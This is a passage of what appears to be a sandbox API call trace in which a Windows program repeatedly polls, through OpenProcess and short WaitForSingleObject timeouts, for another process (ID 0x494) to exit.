wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.650] Sleep (dwMilliseconds=0x1) [0126.666] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.666] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.681] CloseHandle (hObject=0x190) returned 1 [0126.681] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.681] Sleep (dwMilliseconds=0x1) [0126.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.708] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.712] CloseHandle (hObject=0x190) returned 1 [0126.712] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.712] Sleep (dwMilliseconds=0x1) [0126.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.728] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.746] CloseHandle (hObject=0x190) returned 1 [0126.746] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.746] Sleep (dwMilliseconds=0x1) [0126.759] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.760] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.775] CloseHandle (hObject=0x190) returned 1 [0126.775] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.775] Sleep (dwMilliseconds=0x1) [0126.792] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.792] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.806] CloseHandle (hObject=0x190) returned 1 [0126.806] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.806] Sleep (dwMilliseconds=0x1) [0126.822] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.822] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.837] CloseHandle (hObject=0x190) returned 1 [0126.837] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.837] Sleep (dwMilliseconds=0x1) [0126.853] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.853] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.868] CloseHandle (hObject=0x190) returned 1 [0126.869] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.869] Sleep (dwMilliseconds=0x1) [0126.884] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.884] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.900] CloseHandle (hObject=0x190) returned 1 [0126.900] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.900] Sleep (dwMilliseconds=0x1) [0126.915] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.915] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.931] CloseHandle (hObject=0x190) returned 1 [0126.931] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.931] Sleep (dwMilliseconds=0x1) [0126.956] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.956] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.962] CloseHandle (hObject=0x190) returned 1 [0126.962] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.962] Sleep (dwMilliseconds=0x1) [0126.978] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0126.978] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0126.993] CloseHandle (hObject=0x190) returned 1 [0126.993] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0126.993] Sleep (dwMilliseconds=0x1) [0127.009] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.009] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.024] CloseHandle (hObject=0x190) returned 1 [0127.024] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.025] Sleep (dwMilliseconds=0x1) [0127.040] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.040] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.056] CloseHandle (hObject=0x190) returned 1 [0127.056] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.056] Sleep (dwMilliseconds=0x1) [0127.072] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.072] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.087] CloseHandle (hObject=0x190) returned 1 [0127.087] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.087] Sleep (dwMilliseconds=0x1) [0127.103] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.103] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.118] CloseHandle (hObject=0x190) returned 1 [0127.118] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.118] Sleep (dwMilliseconds=0x1) [0127.134] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.134] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.163] CloseHandle (hObject=0x190) returned 1 [0127.163] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.163] Sleep (dwMilliseconds=0x1) [0127.165] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.165] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.183] CloseHandle (hObject=0x190) returned 1 [0127.184] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.184] Sleep (dwMilliseconds=0x1) [0127.196] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.196] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.212] CloseHandle (hObject=0x190) returned 1 [0127.212] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.212] Sleep (dwMilliseconds=0x1) [0127.228] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.228] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.253] CloseHandle (hObject=0x190) returned 1 [0127.253] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.253] Sleep (dwMilliseconds=0x1) [0127.259] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.259] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.274] CloseHandle (hObject=0x190) returned 1 [0127.274] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.274] Sleep (dwMilliseconds=0x1) [0127.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.290] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.317] CloseHandle (hObject=0x190) returned 1 [0127.317] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.317] Sleep (dwMilliseconds=0x1) [0127.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.321] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.337] CloseHandle (hObject=0x190) returned 1 [0127.337] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.337] Sleep (dwMilliseconds=0x1) [0127.355] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.355] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.373] CloseHandle (hObject=0x190) returned 1 [0127.373] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.373] Sleep (dwMilliseconds=0x1) [0127.394] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.394] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.399] CloseHandle (hObject=0x190) returned 1 [0127.399] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.399] Sleep (dwMilliseconds=0x1) [0127.415] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.415] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.430] CloseHandle (hObject=0x190) returned 1 [0127.430] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.430] Sleep (dwMilliseconds=0x1) [0127.446] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.446] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.461] CloseHandle (hObject=0x190) returned 1 [0127.461] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.461] Sleep (dwMilliseconds=0x1) [0127.477] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.477] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.492] CloseHandle (hObject=0x190) returned 1 [0127.493] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.493] Sleep (dwMilliseconds=0x1) [0127.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.509] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.524] CloseHandle (hObject=0x190) returned 1 [0127.524] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.524] Sleep (dwMilliseconds=0x1) [0127.540] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.540] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.567] CloseHandle (hObject=0x190) returned 1 [0127.567] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.567] Sleep (dwMilliseconds=0x1) [0127.574] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.574] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.587] CloseHandle (hObject=0x190) returned 1 [0127.587] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.587] Sleep (dwMilliseconds=0x1) [0127.618] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.618] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.633] CloseHandle (hObject=0x190) returned 1 [0127.633] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.633] Sleep (dwMilliseconds=0x1) [0127.649] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.649] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.664] CloseHandle (hObject=0x190) returned 1 [0127.664] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.664] Sleep (dwMilliseconds=0x1) [0127.680] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.680] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.695] CloseHandle (hObject=0x190) returned 1 [0127.695] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.695] Sleep (dwMilliseconds=0x1) [0127.711] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.711] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.726] CloseHandle (hObject=0x190) returned 1 [0127.727] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.727] Sleep (dwMilliseconds=0x1) [0127.765] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.765] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.773] CloseHandle (hObject=0x190) returned 1 [0127.773] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.773] Sleep (dwMilliseconds=0x1) [0127.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.789] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.804] CloseHandle (hObject=0x190) returned 1 [0127.805] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.805] Sleep (dwMilliseconds=0x1) [0127.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.820] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.836] CloseHandle (hObject=0x190) returned 1 [0127.836] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.836] Sleep (dwMilliseconds=0x1) [0127.851] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.852] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.876] CloseHandle (hObject=0x190) returned 1 [0127.876] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.876] Sleep (dwMilliseconds=0x1) [0127.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.883] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.898] CloseHandle (hObject=0x190) returned 1 [0127.898] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.898] Sleep (dwMilliseconds=0x1) [0127.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.914] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.929] CloseHandle (hObject=0x190) returned 1 [0127.929] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.929] Sleep (dwMilliseconds=0x1) [0127.947] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.947] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.963] CloseHandle (hObject=0x190) returned 1 [0127.963] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.963] Sleep (dwMilliseconds=0x1) [0127.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0127.976] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0127.992] CloseHandle (hObject=0x190) returned 1 [0127.992] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0127.992] Sleep (dwMilliseconds=0x1) [0128.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.008] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.023] CloseHandle (hObject=0x190) returned 1 [0128.023] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.023] Sleep (dwMilliseconds=0x1) [0128.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.039] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.054] CloseHandle (hObject=0x190) returned 1 [0128.054] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.054] Sleep (dwMilliseconds=0x1) [0128.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.070] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.085] CloseHandle (hObject=0x190) returned 1 [0128.085] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.085] Sleep (dwMilliseconds=0x1) [0128.103] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.103] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.117] CloseHandle (hObject=0x190) returned 1 [0128.117] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.117] Sleep (dwMilliseconds=0x1) [0128.132] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.132] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.148] CloseHandle (hObject=0x190) returned 1 [0128.148] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.148] Sleep (dwMilliseconds=0x1) [0128.170] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.170] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.179] CloseHandle (hObject=0x190) returned 1 [0128.179] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.179] Sleep (dwMilliseconds=0x1) [0128.196] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.196] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.210] CloseHandle (hObject=0x190) returned 1 [0128.210] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.210] Sleep (dwMilliseconds=0x1) [0128.226] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.226] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.241] CloseHandle (hObject=0x190) returned 1 [0128.241] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.241] Sleep (dwMilliseconds=0x1) [0128.257] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.257] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.272] CloseHandle (hObject=0x190) returned 1 [0128.272] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.273] Sleep (dwMilliseconds=0x1) [0128.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.289] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.304] CloseHandle (hObject=0x190) returned 1 [0128.304] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.304] Sleep (dwMilliseconds=0x1) [0128.319] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.320] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.337] CloseHandle (hObject=0x190) returned 1 [0128.337] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.337] Sleep (dwMilliseconds=0x1) [0128.354] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.354] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.366] CloseHandle (hObject=0x190) returned 1 [0128.366] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.366] Sleep (dwMilliseconds=0x1) [0128.382] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.382] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.398] CloseHandle (hObject=0x190) returned 1 [0128.398] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.398] Sleep (dwMilliseconds=0x1) [0128.413] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.413] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.428] CloseHandle (hObject=0x190) returned 1 [0128.429] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.429] Sleep (dwMilliseconds=0x1) [0128.457] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.457] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.460] CloseHandle (hObject=0x190) returned 1 [0128.460] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.460] Sleep (dwMilliseconds=0x1) [0128.475] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.475] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.491] CloseHandle (hObject=0x190) returned 1 [0128.491] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.491] Sleep (dwMilliseconds=0x1) [0128.507] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.507] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.522] CloseHandle (hObject=0x190) returned 1 [0128.522] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0128.522] Sleep (dwMilliseconds=0x1) [0128.538] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0128.538] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0128.553] CloseHandle 